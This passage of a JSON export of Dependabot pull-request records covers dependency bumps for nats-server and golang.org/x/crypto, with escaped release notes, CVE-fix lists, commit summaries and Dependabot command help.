deletes\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eAbility to disable message deduplication when sourcing (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7651\"\u003e#7651\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eLeafnodes\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eLeafnode remote configurations can now be added and removed at runtime by reloading the configuration (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7937\"\u003e#7937\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eNew \u003ccode\u003eignore_discovered_servers\u003c/code\u003e option for leafnode remotes to allow ignoring any leafnode URLs sent by the hub (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8067\"\u003e#8067\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eChanged\u003c/h3\u003e\n\u003cp\u003eGeneral\u003c/p\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/nats-io/nats-server/blob/main/RELEASES.md\"\u003egithub.com/nats-io/nats-server/v2's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch1\u003eRelease Workflow\u003c/h1\u003e\n\u003cul\u003e\n\u003cli\u003eAs of NATS 2.11, the server follows a 6-month release cycle. 2.11 was released in March 2025.\u003c/li\u003e\n\u003cli\u003eVersion tagging follows semantic versioning with security fixes clearly marked.\u003c/li\u003e\n\u003cli\u003eThe \u003ccode\u003emain\u003c/code\u003e branch is for active development of features and bug fixes. Release branches are created for preparing patch releases. Releases are tagged with semantic versions\u003c/li\u003e\n\u003cli\u003eThe current and previous minor series are supported in terms of bug fixes and security patches.\u003c/li\u003e\n\u003cli\u003eBinaries are released via \u003ca href=\"https://github.com/nats-io/nats-server/releases\"\u003eGitHub Releases\u003c/a\u003e and Docker images are available as an \u003ca href=\"https://hub.docker.com/_/nats\"\u003eofficial image\u003c/a\u003e.\u003c/li\u003e\n\u003cli\u003ePreview releases for the next minor version, e.g. 2.14.0, become available once feature development is complete.\u003c/li\u003e\n\u003cli\u003eTagged releases as well as nightly Docker images of \u003ccode\u003emain\u003c/code\u003e (for testing) are available in the \u003ca href=\"https://hub.docker.com/r/synadia/nats-server/tags\"\u003esynadia/nats-server\u003c/a\u003e Docker repository.\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/0cbd01caf8f29011c26273ff7662addd3830396a\"\u003e\u003ccode\u003e0cbd01c\u003c/code\u003e\u003c/a\u003e Release v2.14.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/5a8c9cd27146d62141e1b41926743b127834673b\"\u003e\u003ccode\u003e5a8c9cd\u003c/code\u003e\u003c/a\u003e NRG: tighten append entry length decoding bounds (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8092\"\u003e#8092\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/0f259ff55050639bcdac7843a08c6f214d7f9b7e\"\u003e\u003ccode\u003e0f259ff\u003c/code\u003e\u003c/a\u003e Add tzdata to nightly Docker image (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8091\"\u003e#8091\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/aed7baa210c787c33c6a04ddcf46190a424d9020\"\u003e\u003ccode\u003eaed7baa\u003c/code\u003e\u003c/a\u003e Add extra test for payload corruption via headers (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8088\"\u003e#8088\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/efa4688835a689ede60fc80de916a83c7f499888\"\u003e\u003ccode\u003eefa4688\u003c/code\u003e\u003c/a\u003e [FIXED] Double-encoded reply subject in $JS.ACK routing (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8089\"\u003e#8089\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/e78bbf158e1563a6353c2c10c12cde055444e8ca\"\u003e\u003ccode\u003ee78bbf1\u003c/code\u003e\u003c/a\u003e Fix sign-offs check\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/295d052da33e46f96f6034bc1b07c6b69fce262a\"\u003e\u003ccode\u003e295d052\u003c/code\u003e\u003c/a\u003e Add tzdata to nightly Docker image\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/b8af43094676f55745fd7132078e93db1f6c9bf7\"\u003e\u003ccode\u003eb8af430\u003c/code\u003e\u003c/a\u003e NRG: tighten append entry length decoding bounds\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/efbc1d7b4fa594bb7e653af3b19fb41ed249d5cc\"\u003e\u003ccode\u003eefbc1d7\u003c/code\u003e\u003c/a\u003e Add extra test for payload corruption via headers\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/9b2eb668231ef4d2faa52381748ce7921427aaee\"\u003e\u003ccode\u003e9b2eb66\u003c/code\u003e\u003c/a\u003e [FIXED] Double-encoded reply subject in $JS.ACK routing\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/nats-io/nats-server/compare/v2.12.6...v2.14.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\n[![Dependabot compatibility score](https://dependabot-badges.githubapp.com/badges/compatibility_score?dependency-name=github.com/nats-io/nats-server/v2\u0026package-manager=go_modules\u0026previous-version=2.12.6\u0026new-version=2.14.0)](https://docs.github.com/en/github/managing-security-vulnerabilities/about-dependabot-security-updates#about-compatibility-scores)\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore this major version` will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this minor version` will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this dependency` will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)\n\n\n\u003c/details\u003e","html_url":"https://github.com/carverauto/serviceradar/pull/3152","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/carverauto%2Fserviceradar/issues/3152","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/3152/packages"},{"uuid":"4368229888","node_id":"PR_kwDOHN8diM7Xm8mV","number":1,"state":"open","title":"Bump the go_modules group across 2 directories with 2 updates","user":"dependabot[bot]","labels":["dependencies","go"],"assignees":[],"locked":false,"comments_count":2,"pull_request":true,"closed_at":null,"author_association":null,"state_reason":null,"created_at":"2026-05-02T06:47:23.000Z","updated_at":"2026-05-02T06:47:30.000Z","time_to_close":null,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"Bump","group_name":"go_modules","update_count":2,"packages":[{"name":"github.com/nats-io/nats-server/v2","old_version":"2.9.15","new_version":"2.11.15","repository_url":"https://github.com/nats-io/nats-server"},{"name":"golang.org/x/crypto","old_version":"0.6.0","new_version":"0.49.0"},{"name":"github.com/nats-io/nats-server/v2","old_version":"2.9.15","new_version":"2.11.15","repository_url":"https://github.com/nats-io/nats-server"},{"name":"golang.org/x/crypto","old_version":"0.6.0","new_version":"0.49.0"}],"path":null,"ecosystem":"go"},"body":"Bumps the go_modules group with 1 update in the /2023/day2-ops-code/async/generator directory: [github.com/nats-io/nats-server/v2](https://github.com/nats-io/nats-server).\nBumps the go_modules group with 1 update in the /2023/day2-ops-code/async/requestor directory: [github.com/nats-io/nats-server/v2](https://github.com/nats-io/nats-server).\n\nUpdates `github.com/nats-io/nats-server/v2` from 2.9.15 to 2.11.15\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/nats-io/nats-server/releases\"\u003egithub.com/nats-io/nats-server/v2's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003eRelease v2.11.15\u003c/h2\u003e\n\u003ch2\u003eChangelog\u003c/h2\u003e\n\u003cp\u003eRefer to the \u003ca href=\"https://docs.nats.io/release-notes/whats_new/whats_new_211\"\u003e2.11 Upgrade Guide\u003c/a\u003e for backwards compatibility notes with 2.10.x.\u003c/p\u003e\n\u003ch3\u003eGo Version\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e1.25.8\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eDependencies\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003egolang.org/x/crypto v0.49.0 (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7953\"\u003e#7953\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003egithub.com/nats-io/jwt/v2 v2.8.1 (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7960\"\u003e#7960\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003egithub.com/antithesishq/antithesis-sdk-go v0.6.0-default-no-op\u003c/li\u003e\n\u003cli\u003egithub.com/klauspost/compress v1.18.4\u003c/li\u003e\n\u003cli\u003egithub.com/nats-io/nats.go v1.49.0\u003c/li\u003e\n\u003cli\u003egithub.com/nats-io/nkeys v0.4.15\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eCVEs\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eFixes CVE-2026-33216, CVE-2026-33217, CVE-2026-33215 (affecting systems using MQTT)\u003c/li\u003e\n\u003cli\u003eFixes CVE-2026-33246 (affects systems using leafnodes and service imports)\u003c/li\u003e\n\u003cli\u003eFixes CVE-2026-33218 (affects systems using leafnodes)\u003c/li\u003e\n\u003cli\u003eFixes CVE-2026-33219 (affects systems using WebSockets)\u003c/li\u003e\n\u003cli\u003eFixes CVE-2026-33223, CVE-2026-33222 (affects systems using JetStream)\u003c/li\u003e\n\u003cli\u003eFixes CVE-2026-33248 (affects systems using mutual TLS)\u003c/li\u003e\n\u003cli\u003eFixes CVE-2026-33247 (affects systems providing credentials on the command line)\u003c/li\u003e\n\u003cli\u003eFixes CVE-2026-33249 (affects systems where client publish permissions should be restricted)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eChanged\u003c/h3\u003e\n\u003cp\u003eGeneral\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eThere is now a 1MB size limit on JWTs (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7960\"\u003e#7960\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eImproved\u003c/h3\u003e\n\u003cp\u003eJetStream\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eThe stream peer-remove command now accepts a peer ID as well as a server name (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7952\"\u003e#7952\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eMQTT\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eProtocol compliance has been improved, including more error handling on invalid or malformed MQTT packets (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7933\"\u003e#7933\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cp\u003eGeneral\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eImproved handling of duplicate headers\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/bef17e1d9de6574fae0eabe1798db0d4529834e4\"\u003e\u003ccode\u003ebef17e1\u003c/code\u003e\u003c/a\u003e Release v2.11.15\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/e349b316b7ddb7ea1c970cb800095492d3107e5f\"\u003e\u003ccode\u003ee349b31\u003c/code\u003e\u003c/a\u003e Cherry-picks for 2.11.15 (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/62\"\u003e#62\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/782a6df61b9faafc6fb22a22e8601db3d46301af\"\u003e\u003ccode\u003e782a6df\u003c/code\u003e\u003c/a\u003e [FIXED] Avoid stalling read loop on leafnode ErrMinimumVersionRequired\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/74a5f6fd2a9303edc04eab481ebd0ee87bd2af9f\"\u003e\u003ccode\u003e74a5f6f\u003c/code\u003e\u003c/a\u003e Remove FIXME about auth callout nonce\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/ea8ae87badca22c13445bd526a9ba94c33a93f10\"\u003e\u003ccode\u003eea8ae87\u003c/code\u003e\u003c/a\u003e Message tracing requires client publish permission for \u003ccode\u003eNats-Trace-Dest\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/3fd43a0a07d56d8e32f5f01d3032281a6dda22f4\"\u003e\u003ccode\u003e3fd43a0\u003c/code\u003e\u003c/a\u003e Rebuild request info headers on leaf service imports\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/8dbf004d17e944bea68b2a1e194b582921ae108e\"\u003e\u003ccode\u003e8dbf004\u003c/code\u003e\u003c/a\u003e [FIXED] MQTT flappers use monotonic time\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/265a99b9ac09ad682291b9fe3f5a459b0e496a6f\"\u003e\u003ccode\u003e265a99b\u003c/code\u003e\u003c/a\u003e Update JWT and other dependencies\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/d6d1dd91c3a92a6e7c59e58a9f82ee9a64bd7443\"\u003e\u003ccode\u003ed6d1dd9\u003c/code\u003e\u003c/a\u003e Streaming parsing of WebSocket frames with limited memory allocations\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/e6057af102d530ea18f20744447845876749b9b1\"\u003e\u003ccode\u003ee6057af\u003c/code\u003e\u003c/a\u003e [FIXED] Avoid parsing trace headers from HPUB payload\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/nats-io/nats-server/compare/v2.9.15...v2.11.15\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `golang.org/x/crypto` from 0.6.0 to 0.49.0\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/golang/crypto/commit/982eaa62dfb7273603b97fc1835561450096f3bd\"\u003e\u003ccode\u003e982eaa6\u003c/code\u003e\u003c/a\u003e go.mod: update golang.org/x dependencies\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/golang/crypto/commit/159944f128e9b3fdeb5a5b9b102a961904601a87\"\u003e\u003ccode\u003e159944f\u003c/code\u003e\u003c/a\u003e ssh,acme: clean up tautological/impossible nil conditions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/golang/crypto/commit/a408498e55412f2ae2a058336f78889fb1ba6115\"\u003e\u003ccode\u003ea408498\u003c/code\u003e\u003c/a\u003e acme: only require prompt if server has terms of service\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/golang/crypto/commit/cab0f718548e8a858701b7b48161f44748532f58\"\u003e\u003ccode\u003ecab0f71\u003c/code\u003e\u003c/a\u003e all: upgrade go directive to at least 1.25.0 [generated]\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/golang/crypto/commit/2f26647a795e74e712b3aebc2655bca60b2686f9\"\u003e\u003ccode\u003e2f26647\u003c/code\u003e\u003c/a\u003e x509roots/fallback: update bundle\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/golang/crypto/commit/e08b06753d6a72f1fe375b6e0fefefb39917c165\"\u003e\u003ccode\u003ee08b067\u003c/code\u003e\u003c/a\u003e go.mod: update golang.org/x dependencies\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/golang/crypto/commit/7d0074ccc6f17acbf2ebb10db06d492e08f887dc\"\u003e\u003ccode\u003e7d0074c\u003c/code\u003e\u003c/a\u003e scrypt: fix panic on parameters \u0026lt;= 0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/golang/crypto/commit/506e022208b864bc3c9c4a416fe56be75d10ad24\"\u003e\u003ccode\u003e506e022\u003c/code\u003e\u003c/a\u003e go.mod: update golang.org/x dependencies\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/golang/crypto/commit/7dacc380ba001e8fe7c3c7a46bf3cbdaa5064df9\"\u003e\u003ccode\u003e7dacc38\u003c/code\u003e\u003c/a\u003e chacha20poly1305: error out in fips140=only mode\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/golang/crypto/commit/19acf81bd7bc7b558d18a550e8e023df2c33e742\"\u003e\u003ccode\u003e19acf81\u003c/code\u003e\u003c/a\u003e go.mod: update golang.org/x dependencies\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/golang/crypto/compare/v0.6.0...v0.49.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `github.com/nats-io/nats-server/v2` from 2.9.15 to 2.11.15\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/nats-io/nats-server/releases\"\u003egithub.com/nats-io/nats-server/v2's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003eRelease v2.11.15\u003c/h2\u003e\n\u003ch2\u003eChangelog\u003c/h2\u003e\n\u003cp\u003eRefer to the \u003ca href=\"https://docs.nats.io/release-notes/whats_new/whats_new_211\"\u003e2.11 Upgrade Guide\u003c/a\u003e for backwards compatibility notes with 2.10.x.\u003c/p\u003e\n\u003ch3\u003eGo Version\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e1.25.8\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eDependencies\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003egolang.org/x/crypto v0.49.0 (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7953\"\u003e#7953\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003egithub.com/nats-io/jwt/v2 v2.8.1 (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7960\"\u003e#7960\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003egithub.com/antithesishq/antithesis-sdk-go v0.6.0-default-no-op\u003c/li\u003e\n\u003cli\u003egithub.com/klauspost/compress v1.18.4\u003c/li\u003e\n\u003cli\u003egithub.com/nats-io/nats.go v1.49.0\u003c/li\u003e\n\u003cli\u003egithub.com/nats-io/nkeys v0.4.15\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eCVEs\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eFixes CVE-2026-33216, CVE-2026-33217, CVE-2026-33215 (affecting systems using MQTT)\u003c/li\u003e\n\u003cli\u003eFixes CVE-2026-33246 (affects systems using leafnodes and service imports)\u003c/li\u003e\n\u003cli\u003eFixes CVE-2026-33218 (affects systems using leafnodes)\u003c/li\u003e\n\u003cli\u003eFixes CVE-2026-33219 (affects systems using WebSockets)\u003c/li\u003e\n\u003cli\u003eFixes CVE-2026-33223, CVE-2026-33222 (affects systems using JetStream)\u003c/li\u003e\n\u003cli\u003eFixes CVE-2026-33248 (affects systems using mutual TLS)\u003c/li\u003e\n\u003cli\u003eFixes CVE-2026-33247 (affects systems providing credentials on the command line)\u003c/li\u003e\n\u003cli\u003eFixes CVE-2026-33249 (affects systems where client publish permissions should be restricted)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eChanged\u003c/h3\u003e\n\u003cp\u003eGeneral\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eThere is now a 1MB size limit on JWTs (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7960\"\u003e#7960\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eImproved\u003c/h3\u003e\n\u003cp\u003eJetStream\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eThe stream peer-remove command now accepts a peer ID as well as a server name (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7952\"\u003e#7952\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eMQTT\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eProtocol compliance has been improved, including more error handling on invalid or malformed MQTT packets (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7933\"\u003e#7933\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cp\u003eGeneral\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eImproved handling of duplicate headers\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/bef17e1d9de6574fae0eabe1798db0d4529834e4\"\u003e\u003ccode\u003ebef17e1\u003c/code\u003e\u003c/a\u003e Release v2.11.15\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/e349b316b7ddb7ea1c970cb800095492d3107e5f\"\u003e\u003ccode\u003ee349b31\u003c/code\u003e\u003c/a\u003e Cherry-picks for 2.11.15 (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/62\"\u003e#62\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/782a6df61b9faafc6fb22a22e8601db3d46301af\"\u003e\u003ccode\u003e782a6df\u003c/code\u003e\u003c/a\u003e [FIXED] Avoid stalling read loop on leafnode ErrMinimumVersionRequired\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/74a5f6fd2a9303edc04eab481ebd0ee87bd2af9f\"\u003e\u003ccode\u003e74a5f6f\u003c/code\u003e\u003c/a\u003e Remove FIXME about auth callout nonce\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/ea8ae87badca22c13445bd526a9ba94c33a93f10\"\u003e\u003ccode\u003eea8ae87\u003c/code\u003e\u003c/a\u003e Message tracing requires client publish permission for \u003ccode\u003eNats-Trace-Dest\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/3fd43a0a07d56d8e32f5f01d3032281a6dda22f4\"\u003e\u003ccode\u003e3fd43a0\u003c/code\u003e\u003c/a\u003e Rebuild request info headers on leaf service imports\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/8dbf004d17e944bea68b2a1e194b582921ae108e\"\u003e\u003ccode\u003e8dbf004\u003c/code\u003e\u003c/a\u003e [FIXED] MQTT flappers use monotonic time\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/265a99b9ac09ad682291b9fe3f5a459b0e496a6f\"\u003e\u003ccode\u003e265a99b\u003c/code\u003e\u003c/a\u003e Update JWT and other dependencies\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/d6d1dd91c3a92a6e7c59e58a9f82ee9a64bd7443\"\u003e\u003ccode\u003ed6d1dd9\u003c/code\u003e\u003c/a\u003e Streaming parsing of WebSocket frames with limited memory allocations\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/e6057af102d530ea18f20744447845876749b9b1\"\u003e\u003ccode\u003ee6057af\u003c/code\u003e\u003c/a\u003e [FIXED] Avoid parsing trace headers from HPUB payload\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/nats-io/nats-server/compare/v2.9.15...v2.11.15\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `golang.org/x/crypto` from 0.6.0 to 0.49.0\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/golang/crypto/commit/982eaa62dfb7273603b97fc1835561450096f3bd\"\u003e\u003ccode\u003e982eaa6\u003c/code\u003e\u003c/a\u003e go.mod: update golang.org/x dependencies\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/golang/crypto/commit/159944f128e9b3fdeb5a5b9b102a961904601a87\"\u003e\u003ccode\u003e159944f\u003c/code\u003e\u003c/a\u003e ssh,acme: clean up tautological/impossible nil conditions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/golang/crypto/commit/a408498e55412f2ae2a058336f78889fb1ba6115\"\u003e\u003ccode\u003ea408498\u003c/code\u003e\u003c/a\u003e acme: only require prompt if server has terms of service\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/golang/crypto/commit/cab0f718548e8a858701b7b48161f44748532f58\"\u003e\u003ccode\u003ecab0f71\u003c/code\u003e\u003c/a\u003e all: upgrade go directive to at least 1.25.0 [generated]\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/golang/crypto/commit/2f26647a795e74e712b3aebc2655bca60b2686f9\"\u003e\u003ccode\u003e2f26647\u003c/code\u003e\u003c/a\u003e x509roots/fallback: update bundle\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/golang/crypto/commit/e08b06753d6a72f1fe375b6e0fefefb39917c165\"\u003e\u003ccode\u003ee08b067\u003c/code\u003e\u003c/a\u003e go.mod: update golang.org/x dependencies\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/golang/crypto/commit/7d0074ccc6f17acbf2ebb10db06d492e08f887dc\"\u003e\u003ccode\u003e7d0074c\u003c/code\u003e\u003c/a\u003e scrypt: fix panic on parameters \u0026lt;= 0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/golang/crypto/commit/506e022208b864bc3c9c4a416fe56be75d10ad24\"\u003e\u003ccode\u003e506e022\u003c/code\u003e\u003c/a\u003e go.mod: update golang.org/x dependencies\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/golang/crypto/commit/7dacc380ba001e8fe7c3c7a46bf3cbdaa5064df9\"\u003e\u003ccode\u003e7dacc38\u003c/code\u003e\u003c/a\u003e chacha20poly1305: error out in fips140=only mode\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/golang/crypto/commit/19acf81bd7bc7b558d18a550e8e023df2c33e742\"\u003e\u003ccode\u003e19acf81\u003c/code\u003e\u003c/a\u003e go.mod: update golang.org/x dependencies\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/golang/crypto/compare/v0.6.0...v0.49.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to 